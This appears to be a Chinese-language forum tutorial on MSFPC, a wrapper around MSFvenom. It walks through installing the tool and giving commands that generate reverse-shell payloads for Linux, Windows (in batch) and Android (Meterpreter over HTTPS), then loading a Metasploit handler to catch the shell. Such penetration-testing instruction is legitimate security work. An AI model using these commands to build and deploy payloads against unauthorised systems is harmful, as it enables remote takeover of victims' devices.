搜索
查看: 4216|回复: 0

如何使用MSFPC简化生成Payload的过程

[复制链接]

70

主题

51

回帖

291

积分

中级会员

牛逼的金牌会员

积分
291
QQ
发表于 2017-11-16 09:22:42 | 显示全部楼层 |阅读模式 来自 甘肃陇南




注册 | 登录 2 个不明物体工具







一般来说,生成payload的默认工具是MSFvenom,这是一个独立于Metasploit的payload生成器及编码器。虽然它是一个非常强大的payload生成神器,但是对于一些新手来说,可能难以在短时间内熟悉其操作。即使在进行最初的了解之后,生成一个基本的payload也需要输入相当多的内容,而今天,我们将看到使用MSFPC更便捷地生成paylaod。

MSFPC,或者说是MSFvenom Payload生成器,其实是一个基于MSFvenom的Payload生成器,但是它旨在简化基本的有效载荷创建过程,用户使用MSFPC可以尽可能简单地创建Payload,有时甚至只需要一个参数!如果你以前使用过MSFvenom,那么可能已经自行编写了一个简单的shell脚本来自动化频繁地生成Payload。即使这样,这个工具也绝对值得一试。

第一步:安装MSFPC

首先,我们需要先行安装MSFPC,步骤会因为操作系统的差别而有所不同。

第一种:在Kali Linux上安装

如果你想要在Kali Linux上安装MSFPC,那么可能会十分简单,因为它已经包含在了Kali工具库中。如果没有,那么就使用apt安装,如下所示:


apt install msfpc
第二种:在一般的Linux上安装

对于没有这个软件包的Linux和Unix版本,只需要在终端从github进行克隆就好了:

git clone https://github.com/g0tmi1k/mpc;

cd mpc


一旦成功克隆,就可以将其复制到一个目录中了,对于脚本本身,可以选择/usr/bin。

我个人不喜欢搞乱/usr/bin,把他们放在自己的目录中方便时刻跟踪我编译的或者是从github上获取的工具,当然了,这些都取决于你自己。

为所有用户安装

为了可以放在/usr/bin中,先切换到你的mpc目录,然后使用终端改变脚本权限,如下所示:



cd /path/to/mpc //mpc的目录

sudo chown root:root msfpc.sh

sudo chmod 755 msfpc.sh

sudo cp msfpc.sh /usr/bin


这组命令意思是将脚本的所有者和组都更改为root,然后使用chmod命令将文件权限配置为755,最后,将脚本移动到/usr/bin中。

为特定用户安装

要安装到主目录中的pentest文件夹,你需要打开你的终端并输入以下内容开始该过程:



mkdir ~/pentest

cd /path/to/mpc

chmod 700 msfpc.sh

cp msfpc.sh ~/pentest


你可能已经有一个pentest目录。如果是这样的话,就没有必要再创建一个新的。 chmod命令将脚本的权限更改为RWX ——。然后我们将它复制到pentest目录中。

这还没完,因为这个目录不是我们路径的一部分,为了解决这个问题,我们需要编辑我们主目录中的.bashrc。我一直在用Vim,当然你可以使用任何喜欢的编辑器(leafpad),你需要键入以下内容:


vim ~/.bashrc

一旦你开始编辑了,使用以下命令将pentest目录添加到路径变量中:


PATH=$PATH:/path/to/my/pentest/directory

你可以省略最后的斜杠。

保存后,使用source和which命令:



source ~/.bashrc

which msfpc.sh


这样一来,MSFPC就完成安装了!

生成一个Linux Payload

现在我们已经在自己选择的系统上安装了该工具,接下来就开始生成Payload。对于我们的第一个Payload,我们将使用msfpc.sh生成一个基本的Linux反向TCP ELF Payload。

对于第一个Payload,我们只需要将一个参数传给MSFPC。


msfpc.sh linux

首先需要注意的是,我只告诉了MSFPC我想生成一个Linux Payload,没有任何其他的信息,所以MSFPC不知道我们想连接的地址,所以它提供了选项。WAN是我的外部IP,lo是本地的,ens33是我的网络接口。

我选择了2(ens33),如果你记不住你的地址,那么这种方式就可以节省你很多时间。CMD那里显示的输出是生成该Payload而执行的完整MSFvenom命令,相当详细,而且你也可以进行核对。

一旦生成了Payload,就可以设置一个Metasploit handler来测试一下了,但是我也不必手动配置这个handler,因为Msfpc.sh会创建一个名字类似于Payload的文件,拓展名为rc。为了启动这个handler,我只需要将文件放到Metasploit中。


sudo msfconsole -q -r '/home/barrow/linux-shell-staged-reverse-tcp-443-elf.rc'

此命令中sudo的原因是因为我只是试图绑定到端口443的普通用户。-q参数告诉msfconsole跳过启动画面,-r告诉msfconsole加载文件。完成后,一旦执行有效载荷,就会回连给我一个反向shell。

生成一个Windwos Payload

对于Windows,我想创建多种不同的Payload。Msfpc.sh允许批量创建Payload,这意味着我可以为特定目标创建所有Payload,以下是命令:


msfpc.sh windows batch ens33

在这个命令中,我告诉msfpc.sh使用我的IP创建所有Payload,在生成过程中,可能会出现一些错误,但是最终还是会有一批Windows Payload文件。

生成安卓Payload

我们已经完成了Windows和Linux部分。接下来使用msfpc.sh为Android设备生成一个Payload。对于这个例子,我将生成一个Android反向TCP HTTPS MeterpreterPayload。可以用下面的命令:


msfpc.sh apk HTTPS ens33

该命令将为Android创建一个反向TCP有效载荷,并使用我IP地址通过HTTPS进行通信。

总结








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表